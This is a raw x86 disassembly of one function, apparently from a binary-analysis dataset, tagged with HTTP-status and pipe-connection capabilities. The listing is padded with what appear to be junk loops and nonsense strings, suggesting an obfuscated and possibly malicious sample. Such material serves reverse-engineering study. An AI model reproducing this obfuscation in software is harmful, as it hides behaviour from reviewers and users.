Function at 0x100058e9
Capabilities:
Check http status code
Connect pipe

Disassembly:
mov eax, 0x10063e5f
call fcn.10063758
sub esp, 0x5c8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x44], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
mov byte [ebp - 4], 1
lea eax, [ebp - 0x3e4]
push dword [ebp - 0x19c]
movdqa xmm0, xmmword [0x10072eb0]
lea ecx, [ebp - 0x220]
push eax
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x220], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x3f4], xmm0
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
call fcn.100043b1
push 3
lea ecx, [ebp - 0x2d4]
mov byte [ebp - 4], 2
call fcn.10001cd1
push 0x58a1
lea eax, [ebp - 0x2d4]
mov byte [ebp - 4], 3
push eax
push 1
push 0x5c4c
push 0x5e87
push 1
mov dword [ebp - 0x274], 0x4b0ad8ea
lea edx, [ebp - 0x3bc]
push 0x1b7b
mov cl, 1
mov dword [ebp - 0x214], 0xfffffff9
call fcn.100048cf
add esp, 0x1c
lea eax, [ebp - 0x220]
lea edx, [ebp - 0x214]
push eax
push ecx
push 0x86d
push 0x2368
push ecx
lea eax, [ebp - 0x274]
push eax
push ecx
push 0x27a3
lea eax, [ebp - 0x2d4]
mov cl, 1
push eax
push 0x5808
call fcn.1000495a
add esp, 0x28
lea ecx, [ebp - 0x2d4]
call fcn.10001d54
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 1
call fcn.10001d54
push 0x6f
pop eax
mov dword [ebp - 0xb8], 0x2c00850b
mov dword [ebp - 0xb4], 0x1b073709
mov dword [ebp - 0xb0], 0x1e0a030c
mov dword [ebp - 0xac], 0x4c051301
mov dword [ebp - 0xa8], 0x20026e06
mov dword [ebp - 0xa4], 0x6080b03
mov dword [ebp - 0xa0], 0xb04c001
mov word [ebp - 0x3ce], ax
push 2
pop esi
mov ecx, ebx
cmp esi, 0x18
jne 0x10005a72
push 2
pop ecx
jmp 0x10005aa8
movzx edx, byte [ebp + esi - 0xb7]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xba]
movzx eax, word [ebp + eax*2 - 0x3e4]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0xb8]
mov word [ebp + eax*2 - 0x3e4], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x1c
jb 0x10005a68
xor eax, eax
mov word [ebp - 0x3ca], ax
mov dword [ebp - 0x84], 0xa2cb51db
mov dword [ebp - 0x234], 0xa13b2885
mov dword [ebp - 0x18], ebx
jmp 0x10005ae3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x168], 0x47df
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10005ad2
dec dword [ebp - 0x168]
mov dword [ebp - 0x84], ebx
cmp dword [ebp - 0x84], ebx
jl 0x10005ce9
mov dword [ebp - 0x14], 0x43c4ab27
mov dword [ebp - 0x28], 0x6b74
cmp dword [ebp - 0x28], 0x6c53
jle 0x10005b55
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebx + esi]
mov ecx, 0x10080d98
add eax, edi
cdq
push edx
push eax
call fcn.10001b47
inc ebx
cmp ebx, 0x993
jl 0x10005b1f
inc esi
push 0
pop ebx
cmp esi, 0x7215
jl 0x10005b1c
inc edi
cmp edi, 0x5971
jl 0x10005b1a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x10005c21
mov dword [ebp - 0x2c], 0x2c84
cmp dword [ebp - 0x2c], 0x2fa6
jle 0x10005beb
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov ecx, esi
mov edi, ebx
shl eax, cl
mov dword [ebp - 0x20], eax
mov ecx, edi
shl eax, cl
lea ecx, [ebp - 0x4ac]
or eax, edx
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10005ba4
mov eax, dword [eax]
push eax
call fcn.1004b9e4
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4ac]
call fcn.10002062
mov edx, dword [ebp - 0x18]
inc edi
mov eax, dword [ebp - 0x20]
cmp edi, 0x784a
jl 0x10005b86
mov eax, dword [ebp - 0x1c]
inc esi
cmp esi, 0x4aaa
jl 0x10005b7d
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x667
jl 0x10005b7b
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x33ef
jl 0x10005b76
mov byte [ebp - 0x3d], bl
cmp dword [ebp - 0x2c], 0x2adf
jge 0x10005c02
push str.vbii_xbdu_zpfnt_uvx_ycbblf_ekyyf_ipzv_vza_crt
call fcn.1004b9e4
pop ecx
push ecx
push ebx
sub esp, 0xc
mov dword [ebp - 4], 1
lea edx, [ebp - 0x3d]
call fcn.10004a39
add esp, 0x14
dec dword [ebp - 0x14]
jmp 0x10005b58
mov byte [ebp - 4], 6
cmp dword [ebp - 0x28], 0x6ae5
jge 0x10005c5e
mov edx, str.zcg_sthsj_angd_gktlhkjr_gpocxxk
mov ecx, 0x10080d98
call fcn.10003a21
jmp 0x10005c5e
mov dword [ebp - 4], 1
mov dword [ebp - 0x14], ebx
jmp 0x10005cd9
push 0x67ae
lea eax, [ebp - 0x3f]
mov dword [ebp - 0x18], 0x7d2703d9
push eax
push 1
mov byte [ebp - 0x3f], bl
mov edx, 0x157f
push ebx
mov cl, 1
call fcn.10004bbc
mov dword [ebp - 0x18], ebx
add esp, 0x10
cmp dword [ebp - 0x18], ebx
jl 0x10005cd6
mov dword [ebp - 0x20], 0x7e2f9d44
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x168], ebx
je 0x10005cb4
cmp dword [ebp - 0x14], ebx
je 0x10005cb4
xor eax, eax
inc eax
jmp 0x10005cb6
mov eax, ebx
push 0x4bfc
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x234]
push ecx
push eax
push ecx
xor cl, cl
call fcn.10004597
add esp, 0x10
dec dword [ebp - 0x18]
jns 0x10005c97
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10005c6a
dec dword [ebp - 0x84]
jmp 0x10005af5
push 3
lea ecx, [ebp - 0x360]
call fcn.10001cd1
push 0x3450
push ecx
push 0x6987
push 0x4cba
push 0x567e
lea eax, [ebp - 0x360]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x224]
mov dword [ebp - 0x1c], 0xf57a7c20
push eax
push 0x5b25
xor dl, dl
mov ecx, 0x521e
call fcn.10004ff1
push 0x26e8
push 0x7ac3
push 1
mov byte [ebp - 0x3e], bl
lea edx, [ebp - 0x3e]
push ebx
xor cl, cl
call fcn.10004bbc
add esp, 0x30
mov dword [ebp - 0x1c], ebx
jmp 0x10005d6f
push ecx
call fcn.10004a11
pop ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x360]
cmp dword [eax + ecx*4], ebx
jne 0x10005d75
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x10005d57
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 1
call fcn.10001d54
push 0x68
pop eax
push 2
mov dword [ebp - 0x9c], 0x4502ab06
mov ecx, ebx
mov byte [ebp - 0x98], bl
mov dword [ebp - 0x97], 0x40b0743
mov dword [ebp - 0x93], 0x3020504
mov byte [ebp - 0x8f], bl
mov dword [ebp - 0x8e], 0x1d042203
mov word [ebp - 0x8a], 0xc01
mov word [ebp - 0x2dc], ax
pop esi
cmp esi, 0xe
jne 0x10005ddd
push 4
pop ecx
push 0x10
pop esi
jmp 0x10005e15
movzx edx, byte [ebp + esi - 0x9b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x9e]
movzx ecx, word [ebp + eax*2 - 0x2e8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x9c]
add ecx, edx
mov word [ebp + eax*2 - 0x2e8], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x14
jb 0x10005dd0
push ecx
push 1
sub esp, 0xc
xor eax, eax
mov edx, 0x57ae
mov word [ebp - 0x2d8], ax
call fcn.10004a39
xor eax, eax
mov dword [ebp - 0x380], 7
add esp, 0x14
mov word [ebp - 0x394], ax
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x384], ebx
lea ecx, [ebp - 0x394]
push eax
call fcn.10007ef5
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x37c]
xor eax, eax
mov dword [ebp - 0x368], 7
mov word [ebp - 0x37c], ax
lea eax, [ebp - 0x3e4]
push eax
mov dword [ebp - 0x36c], ebx
call fcn.10007ef5
lea eax, [ebp - 0x37c]
push eax
lea ecx, [ebp - 0x494]
call fcn.10003dba
lea eax, [ebp - 0x394]
push eax
lea ecx, [ebp - 0x47c]
call fcn.10003dba
push ebx
push 1
lea ecx, [ebp - 0x37c]
call fcn.100021ce
push ebx
push 1
lea ecx, [ebp - 0x394]
call fcn.100021ce
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x464]
push dword [ebp - 0x224]
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1a8], ebx
push eax
lea eax, [ebp - 0x494]
mov dword [ebp - 0x1a4], ebx
push eax
push ebx
mov dword [ebp - 0x1a0], ebx
call fcn.10008479
push fcn.10007b76
push 1
push 0x30
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0xc
push eax
call fcn.1004b51b
mov dword [ebp - 0x1c], 0xec3d7d49
mov dword [ebp - 0x28], 0x9e63
mov dword [ebp - 0x2c], 0x1fe3d2f5
mov dword [ebp - 0x20], 0xdfe1602a
mov dword [ebp - 0x14], ebx
jmp 0x10005f54
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3b8], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10005f43
mov dword [ebp - 0x14], ebx
jmp 0x10005f70
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x280], 0x6e836ea0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10005f5f
cmp dword [ebp - 0x1c], ebx
je 0x1000605d
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x24], 0xf1ba1372
mov dword [ebp - 0x18], ebx
jmp 0x10005fa3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x230], 0x89c089ce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10005f92
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x3b8], esi
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x14], ecx
mov ecx, 0xfffe
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x22c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp esi, ecx
jg 0x10005ffe
cmp dword [ebp - 0x2c], ebx
je 0x10005ffe
xor ecx, ecx
inc ecx
jmp 0x10006000
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x228]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x280], ecx
mov eax, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3b8]
neg eax
cmp eax, dword [ebp - 0x2c]
jge 0x10006042
mov eax, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x230]
cmp ecx, eax
setle dl
mov dword [ebp - 0x20], edx
jmp 0x100060df
mov dword [ebp - 0x18], ebx
jmp 0x10006073
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x434], 0x87d7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10006062
mov dword [ebp - 0x1c], 0xfffffff4
jmp 0x100060d9
mov dword [ebp - 0x20], 0x85e8a77f
cmp dword [ebp - 0x42c], ebx
je 0x100060cf
push 0x115f
push 0x6be0
push 1
lea eax, [ebp - 0x244]
mov dword [ebp - 0x244], 0xfffffff9
push eax
push 0x608b
push 0x7b5b
push ebx
push 0x1f9
mov dl, 1
mov ecx, 0x3d8
call fcn.1000530b
add esp, 0x20
jmp 0x100060d6
mov dword [ebp - 0x20], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x12
jle 0x10006082
push 7
xor eax, eax
lea edi, [ebp - 0x3e4]
pop ecx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [ebp - 0x30], 0xfffffff8
inc ecx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x294], 0xfffffffc
mov dword [ebp - 0x18], ebx
jmp 0x10006112
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x68], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10006108
mov dword [ebp - 0x30], 0xf09c
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x80], ecx
neg esi
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
sbb esi, esi
mov eax, dword [ebp - 0x68]
neg esi
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x64]
sete dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp esi, ecx
mov ecx, dword [ebp - 0x64]
setg al
add eax, 2
imul ecx, eax
cmp ecx, dword [ebp - 0x64]
jl 0x10006199
xor edx, edx
mov dword [ebp - 0x24], 0x4801465e
inc edx
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], ebx
jl 0x10006191
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x68], ecx
dec dword [ebp - 0x30]
jns 0x1000617e
inc dword [ebp - 0x24]
jmp 0x1000625a
mov dword [ebp - 0x200], 0xb4322e7c
mov dword [ebp - 0x210], 0x68e0133d
mov dword [ebp - 0x290], 7
mov dword [ebp - 0x30], 0xffffffea
jmp 0x10006236
push 1
push ecx
push 0x6ebb
mov dword [ebp - 0x1f0], 3
lea edx, [ebp - 0x80]
push ecx
mov dword [ebp - 0x208], 0xfffffffa
mov ecx, 0x4a91
mov dword [ebp - 0x1f8], 0x46bac60
call fcn.10004a9f
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x1f8]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x200]
push eax
push 0x4db5
lea eax, [ebp - 0x208]
push ebx
push eax
lea ecx, [ebp - 0x210]
call fcn.10004f9b
add esp, 0x34
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe5
je 0x100061c0
push ecx
push 0x306c
push 0x5d9d
lea edx, [ebp - 0x294]
xor cl, cl
call fcn.10004680
xor edx, edx
add esp, 0xc
inc edx
xor eax, eax
lea edi, [ebp - 0x2e8]
stosd dword es:[edi], eax
push 2
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x446b
mov dword [ebp - 0x14], ebx
jmp 0x10006287
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c8], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000627a
mov dword [ebp - 0x14], ebx
jmp 0x100062a2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1bc], 0x4cd45360
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10006291
push 0x6607
push 0x124
push edx
push 0x6cb6
push 0x73f6
push 0x7b7d
push edx
push 0xa6
xor dl, dl
mov ecx, 0x779c
call fcn.1000530b
add esp, 0x20
mov dword [ebp - 0x1b8], ebx
cmp dword [ebp - 0x1b8], 1
jg 0x10006553
push 0x2ae4
push 0x22b0
push 1
mov dword [ebp - 0x1c], 0x1738ab65
mov edx, 0x77bd
push 1
mov cl, 1
call fcn.10004bbc
mov dword [ebp - 0x24], 0x7b5d
add esp, 0x10
cmp dword [ebp - 0x24], 0x7c64
jle 0x10006364
push ebx
call dword [sym.imp.USER32.dll_DestroyIcon]
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x1c]
mov eax, edi
mov ecx, 0x10080d98
and eax, esi
xor eax, ebx
cdq
push edx
push eax
call fcn.10001b47
inc edi
cmp edi, 0x7882
jl 0x1000632e
inc esi
push 0
pop ebx
cmp esi, 0x6227
jl 0x10006329
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x38e9
jl 0x10006327
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], ebx
jl 0x10006504
push 1
lea ecx, [ebp - 0x2a8]
call fcn.10001cd1
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], ebx
jmp 0x1000639d
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2a8]
mov dword [eax + ecx*4], 0x60a2fc53
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1000638a
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2c8], ebx
je 0x10006459
push 3
lea ecx, [ebp - 0x330]
call fcn.10001cd1
push 0x529
push 1
lea eax, [ebp - 0x330]
mov byte [ebp - 4], 0xe
push eax
push ecx
push ecx
lea eax, [ebp - 0x364]
mov edx, 0x51b4
push eax
push ecx
mov ecx, 0x6257
call fcn.100051fe
mov ecx, dword [ebp - 0x330]
xor eax, eax
add esp, 0x1c
cmp dword [ecx], 0x63d62a0
setle al
xor edx, edx
test eax, eax
sets dl
xor eax, eax
inc edx
imul edx, dword [ecx + 4]
inc edx
cmp edx, 1
setg al
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c8]
cmp dword [ebp - 0x20], eax
setl cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2a8]
mov dword [eax], ecx
lea ecx, [ebp - 0x330]
call fcn.10001d54
jmp 0x100064ec
lea eax, [ebp - 0x2a8]
mov dword [ebp - 0x298], 0x475678d5
push eax
mov cl, 1
call fcn.10004d17
mov dword [ebp - 0x18], 1
pop ecx
cmp dword [ebp - 0x18], ebx
jl 0x100064ec
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], ebx
jl 0x100064e7
push 0x6d12
push 1
lea eax, [ebp - 0x29c]
mov dword [ebp - 0x29c], 0xd0ee3b00
push eax
push ebx
push 0x4ea8
push 0x5157
push 1
push 0x2726
push 0x4617
mov edx, 0x1830
mov ecx, 0x6f7c
call fcn.10004d83
add esp, 0x24
lea ecx, [ebp - 0x298]
mov edx, 0x72a9
push ebx
sub esp, 0xc
call fcn.1000560a
add esp, 0x10
dec dword [ebp - 0x14]
jns 0x1000648a
dec dword [ebp - 0x18]
jns 0x1000647e
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 0xc
call fcn.10001d54
dec dword [ebp - 0x1c]
jns 0x10006374
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x24], 0x7a88
jge 0x10006541
mov edx, str.ydqk_mmgva_jihwvrpf_wlgj_luazoq_iroh_zaoqg_asndx_isgquav_iufh_kbxzlktf
mov ecx, 0x10080d98
call fcn.10003a21
jmp 0x10006541
mov dword [ebp - 4], 0xc
inc dword [ebp - 0x1b8]
jmp 0x100062dc
push ecx
lea eax, [ebp + 8]
mov edx, 0x13fe
push eax
lea eax, [ebp - 0x1a8]
mov cl, 1
push eax
call fcn.10004680
mov dword [ebp - 0x254], ebx
add esp, 0xc
mov dword [ebp - 0x1e8], 0x43eb6069
xor ecx, ecx
mov dword [ebp - 0x164], 0xe4562513
inc ecx
mov dword [ebp - 0x1ec], 6
mov dword [ebp - 0x1f4], 0x76acb8f
mov dword [ebp - 0x28c], 0x28cae2fe
mov dword [ebp - 0x20], 0xa7054f86
mov dword [ebp - 0x24], ecx
push 3
pop edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], 0x5e6b
mov dword [ebp - 0x20], 0xb6b3eef5
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x100065e0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2f4], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100065d3
lea eax, [ebp - 0x1ec]
mov dl, cl
push eax
push ecx
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x254]
push eax
push 0x561e
lea eax, [ebp - 0x164]
push 0x76
push eax
lea ecx, [ebp - 0x1f4]
call fcn.10004ff1
mov dword [ebp - 0x20], 0x3ac5b6cc
xor edx, edx
mov eax, dword [ebp - 0x2ec]
add esp, 0x20
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x164]
add ecx, 0xa
cmp eax, ecx
mov eax, dword [ebp - 0x28]
push ebx
setl dl
sub edx, eax
mov eax, 0xa4d94087
cmp eax, edx
mov eax, dword [ebp - 0x2ec]
push 0x161a
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2f0]
push 0x173d
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x164]
sete cl
sub eax, ecx
xor ecx, ecx
cmp eax, 2
setne cl
mov dword [ebp - 0x20], ecx
call fcn.10044279
pop ecx
pop ecx
call eax
push 3
lea ecx, [ebp - 0x240]
call fcn.10001cd1
push ecx
lea eax, [ebp - 0x240]
mov byte [ebp - 4], 0x11
push eax
push ecx
mov dword [ebp - 0x38], 0x89b54615
lea edx, [ebp - 0x284]
mov dword [ebp - 0x50], 0x78acc4b7
mov cl, 1
call fcn.1000475c
add esp, 0xc
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], 2
jg 0x1000698b
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x180], 0xfffffff6
mov dword [ebp - 0x58], 2
cmp dword [ebp - 0x58], ebx
jl 0x1000697b
mov dword [ebp - 0x204], 1
mov dword [ebp - 0x24], 0x70da
cmp dword [ebp - 0x24], 0x7448
jle 0x10006767
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
mov eax, edi
and eax, esi
xor eax, ecx
mov ecx, 0x10080d98
or eax, edx
cdq
push edx
push eax
call fcn.10001b47
mov ecx, dword [ebp - 0x1c]
inc edi
mov edx, dword [ebp - 0x18]
cmp edi, 0x21f7
jl 0x10006722
inc esi
cmp esi, 0x1336
jl 0x10006720
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x5de3
jl 0x1000671e
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x6647
jl 0x10006719
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x24], 0x6f25
jge 0x100067a1
mov edx, str.grmz_ytfmvk_kktm_ppqa_hobxko_wglhmbt_ptaokjz_wzielw_lemx
mov ecx, 0x10080d98
call fcn.10003a21
jmp 0x100067a1
mov dword [ebp - 4], 0x11
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x240]
cmp dword [eax + ecx*4], 1
jl 0x100067f3
push 0x1dfb
push 1
push 0x22c7
push 1
push 0x2eb1
push 0x6662
push 1
lea eax, [ebp - 0x240]
mov edx, 0x227c
push eax
lea eax, [ebp - 0x38]
mov ecx, 0x68ff
push eax
call fcn.10004d83
add esp, 0x24
jmp 0x10006920
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10001cd1
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x18], ebx
jmp 0x10006819
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c8]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10006809
mov dword [ebp - 0x24], 0x1be5
cmp dword [ebp - 0x24], 0x1cf8
jle 0x10006879
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x4c4]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10006852
mov eax, dword [eax]
push eax
call fcn.1004b9e4
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c4]
call fcn.10002062
inc esi
cmp esi, 0x2e18
jl 0x10006833
inc edi
cmp edi, 0xf2a
jl 0x10006831
mov dword [ebp - 0x50], ebx
jmp 0x100068f4
push 0x3bbe
push 0x2a1b
lea eax, [ebp - 0x288]
mov dword [ebp - 0x1fc], 0xd5b6062c
push eax
push 0x3eb5
lea eax, [ebp - 0x180]
mov dword [ebp - 0x264], 0x7c0ce695
push eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x288], 0x6de21e52
push eax
push 0x146
push 0x536c
push 0xc7b
push ecx
lea eax, [ebp - 0x58]
push eax
push 1
push ecx
lea eax, [ebp - 0x1fc]
mov cl, 1
push eax
push ebx
push 0x515b
lea edx, [ebp - 0x264]
call fcn.10004dfb
add esp, 0x40
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 1
jge 0x1000687e
cmp dword [ebp - 0x24], 0x181e
jge 0x1000690e
push str.lqbpenjvz_vfy_bjxivgmak_tcccbivu_vim_nwpjp
call fcn.1004b9e4
pop ecx
lea ecx, [ebp - 0x3c8]
mov dword [ebp - 4], 0x11
call fcn.10001d54
lea eax, [ebp - 0x204]
mov edx, 0x475c
push eax
push 0x42af
push 0x2904
lea eax, [ebp - 0x50]
push eax
push 0x4fac
push 0x65
push 0x5370
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x240]
push eax
push ecx
push 0x7482
push 1
push ecx
push 0x230f
push 1
push 0x5faa
mov cl, 1
call fcn.10004dfb
add esp, 0x40
dec dword [ebp - 0x58]
jmp 0x100066f1
cmp dword [ebp - 0x180], ebx
jne 0x1000698b
inc dword [ebp - 0x38]
jmp 0x100066cf
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 0xc
call fcn.10001d54
push dword [ebp - 0x284]
movdqa xmm0, xmmword [0x10072e50]
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x424]
mov dword [ebp - 0x17c], 0xcec3d7d4
push eax
push ebx
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x250], ebx
movdqu xmmword [ebp - 0x424], xmm0
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x248], ebx
call fcn.100043b1
lea eax, [ebp - 0x278]
mov byte [ebp - 4], 0x17
push eax
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x278], ebx
dec dword [ebp - 0x17c]
push eax
push 0x2e67
lea eax, [ebp - 0x250]
push eax
push ecx
xor cl, cl
call fcn.100057d9
add esp, 0x14
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x250]
call fcn.10001d54
push 0x2378
push 0x7ad8
push 0x16c
push 0x1987
push 0x4b4c
push 0x3d39
lea eax, [ebp - 0x3a4]
mov ecx, 0x5930
push eax
push 1
push 0x2586
call fcn.10004f9b
mov dword [ebp - 0x14], 9
add esp, 0x24
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x14], 0xffffffe4
jmp 0x10006a93
mov dword [ebp - 0x20], 0x905d
cmp dword [ebp - 0x20], ebx
jne 0x10006a99
push 1
push ecx
call fcn.100051a7
inc dword [ebp - 0x14]
pop ecx
pop ecx
cmp dword [ebp - 0x14], 0x11
jle 0x10006a7a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
je 0x10006ab1
cmp dword [ebp - 0x24], ebx
je 0x10006ab1
xor edx, edx
inc edx
jmp 0x10006ab3
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov dword [ebp - 0x34], ebx
push 3
setge cl
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x4c], ebx
call fcn.10001cd1
push ebx
push ecx
lea eax, [ebp - 0x174]
mov byte [ebp - 4], 0x18
push eax
push ecx
mov dword [ebp - 0x20c], 0x98cbdb62
